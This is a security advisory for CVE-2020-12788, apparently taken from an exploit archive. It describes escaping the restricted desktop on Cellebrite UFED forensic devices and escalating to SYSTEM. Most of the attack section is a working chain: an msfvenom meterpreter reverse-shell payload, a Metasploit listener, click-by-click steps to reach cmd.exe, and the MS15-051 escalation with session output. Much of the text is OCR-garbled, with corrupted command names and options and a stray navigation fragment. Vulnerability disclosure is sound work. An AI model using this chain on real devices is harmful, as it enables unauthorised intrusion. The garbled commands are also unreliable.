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Cellebrite UFED 7.5.0.845 Desktop Escape / Privilege Escalation

Cellebrite UFED device implements local operating system policies that can be circumvented to obtain a command $prompt. \ From \ there \ privilege \ escalation \ is \ possible \ using \ public \ exploits. \ Versions \ 5.0 \ through \ 7.5.0.845 \ are \ affected.$

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Change Mirror Download KL-001-2020-002 : Cellebrite Restricted Desktop Escape and Escalation of User Privilege Title: Cellebrite Restricted Desktop Escape and Escalation of User Privilege Advisory ID: KL-001-2020-002 Publication Date: 2020.05.14 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2020-002.txt 1. Vulnerability Details Affected Vendor: Cellebrite
Affected Product: UFED
Affected Prosion: 5.0 - 7.5.0.845
Platform: Embedded Windows
CWE Classification: CWE-269: Improper Privilege Management,
CWE-10: Input Validation Error
CVE ID: CVE-2020-12788 Cellebrite UFED device implements local operating system policies that can be circumvented to obtain a command prompt. From there privilege escalation is possible using public exploits. 3. Technical Description The Cellebrite UFED device implements local operating system policies which are designed to limit access to operating system functionality. These include but may not be limited to: 1. Preventing access to dialog such as Run, File Browser, and Explorer. 2. Preventing access to process and application management tools such as Task Manager and the Control Panel. These policies can be circumvented by using functionality that is permitted by the policy governing the use of the user desktop. A user can leverage the Wireless Network connection string to select certificate based authentication, which then enables file dislogs that are able to be used to launch a command prompt. Pollowing this, privileges can be elevated using off the shelf and publicly available exploits relevant to the specific Windows version in use. 4. Mitigation and Remediation Recommendation The vendor has informed KoreLogic that this vulnerability is not present on devices manufactured "at least since 2018." The vendor was uncertain of the exact version number that remediated this attack vector. This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline Disclosure Timeline

2020.03.05 - KoreLogic submits vulnerability details to
Cellebrite.

2020.03.17 - Cellebrite acknowledges receipt and the intention
to investigate.

2020.04.16 - KoreLogic requests an update on the status of the
Cellebrite responds, notifying KoreLogic that the
vulnerable dialog is not available on newer UFED
releases. Indicates they will determine when the
remediation was introduced.

2020.05.05 - KoreLogic requests an update from Cellebrite.
2020.05.05 - Cellebrite responds that they do not have the
version number at hand, but does not request
delaying public disclosure.

2020.05.12 - 45 business-days have elapsed since the report was
submitted to Cellebrite.

2020.05.14 - KoreLogic public disclosure. Begin by using the msfvenom binary to create a meterpreter payload that will initiate a remote connection to a C2. Copy the payload to a D8B drive. Following this, use the msfconsole binary to create a C2 connection handler with the multi/handler functionality. % msfvenom -p windows/meterpreter/reverse_top -f exe -o payload.exe LNOST=[REDACTED] LFORT=8888
[-] No platform was selected, choosing Msfr:Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: x81 bytes
Payload size: x81 bytes
Payload size: x81 bytes
Saudo mount -o rw /dev/sdal a/
\$ sudo cp payload.exe a/
\$ sync

[snip] msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST [REDACTED] yes The listen address (an interface may be specified)



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Sniffer (886)	Solaris (1,607)

```
The listen port
                                  LPORT 8888
                       Exploit target:
                                   0 Wildcard Target
                       msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on [REDACTED]:8888
                  Now insert the USB drive where payload.exe resides into a target Cellebrite device. Next, follow the steps below:

    Open the Wireless Network Connection screen by clicking
on the WiFi icon in the bottom right hand corner of the
screen. This should be next to the system clock.

                 2. Select "Change advanced settings" -- this will bring up screen called Windows Network Connection Properties. Choose the Wireless Networks tab.
                 3. Under the Preferred networks section, click the Add button and then select the Authentication tab. Make sure "Enable IEEE 802.1x authentication for this network" is enabled.
                 4. Under EAP Type, select "Smart Card or other Certificate" and then click the Properties button.
                 5. Under Trusted Root Certificate Authorities click the View Certificate button. This will bring up a screen called Certificate, choose the Details tab and click the "Copy to File" button. This will bring up a screen called Certificate Export Wizard.

    Click Next and select any of the available export format
options. For example, choose the "DER encoded binary X.509"
option and click next.

                 7. Instead of typing out a export path click the Browse
button to open a file dialog. In the "File Name" box type:
\(\text{WINDOWS\(\text{System32\)}\) and under "Save as type" select the "All
Files (*.*)" option. Hit the enter key.
                 8. Locate the cmd.exe file then drag and drop any DLL over
it. For example, choose the clusapi.dll file located near the
cond.exe executable. This will open a Command Prompt screen as
an unprivileged user.
                  9. Type the drive letter to change into the USB drive containing the payload.exe file.
                        C:\windows\system32>D:
D:\>payload.exe
                  This results in a connection back into Metasploit.
                       [*] Sending stage (180291 bytes) to [REDACTED]
[*] Meterpreter session 2 opened ([REDACTED]:8888 -> [REDACTED]:1041) at 2020-01-29 11:41:05 -0800 mmf5 exploit(multi/handler) sessions i 2
[*] Starting interaction with 2... meterpreter > getuid
Server username: TOUCH-[REDACTED]\Operator
                 An exploit for CVE-2015-1701 is loaded up and configured to run a local privilege escalation exploit against the unprivileged session and SYSTEM is obtained.
                        msf5 exploit(windows/local/ms15_051_client_copy_image) > show options
                        Module options (exploit/windows/local/ms15 051 client copy image):
                                Name Current Setting Required Description
SESSION yes The session to run this module on.
                                                                                                                        yes
                        Exploit target:
                                Id Name
-- ----
0 Windows x86
                             ssf5 exploit(windows/local/ms15_051_client_copy_image) > set SESSION 2
SESSION => 2
                        SESSION > 2
maf5 exploit(vindows/local/ms15_051_client_copy_image) > set PATIOAD windows/meterpreter/reverse_top
PATIOAD > windows/meterpreter/reverse_top
PATIOAD > windows/meterpreter/reverse_top
PATIOAD > windows/meterpreter/reverse_top
PATIOAD > set LPORT 8888
LFORT > 8888
L
                        | 1 | Started reverse TCP handler on |REDEACED|:8888 |
|- | Launching notepad to host the exploit... |
|- | Process 3936 launched. |
|- | Process 3936 launched. |
|- | Reflectively injecting the exploit DLL into 3936... |
|- | Injecting exploit into 3936... |
|- | Exploit injected. Injecting payload into 3936... |
|- | Reploit injected. Executing exploit... |
|- | Sending stage (180291 bytes) to | REDEACTED| |
|- | Exploit finished, wait for (hopefully privileged) payload execution to complete. |
|- | Meterpreter session 3 opened ((REDEACTED):8888 -> | REDEACTED):1045) at 2020-01-29 11:48:15 -0800
                        meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
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https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt
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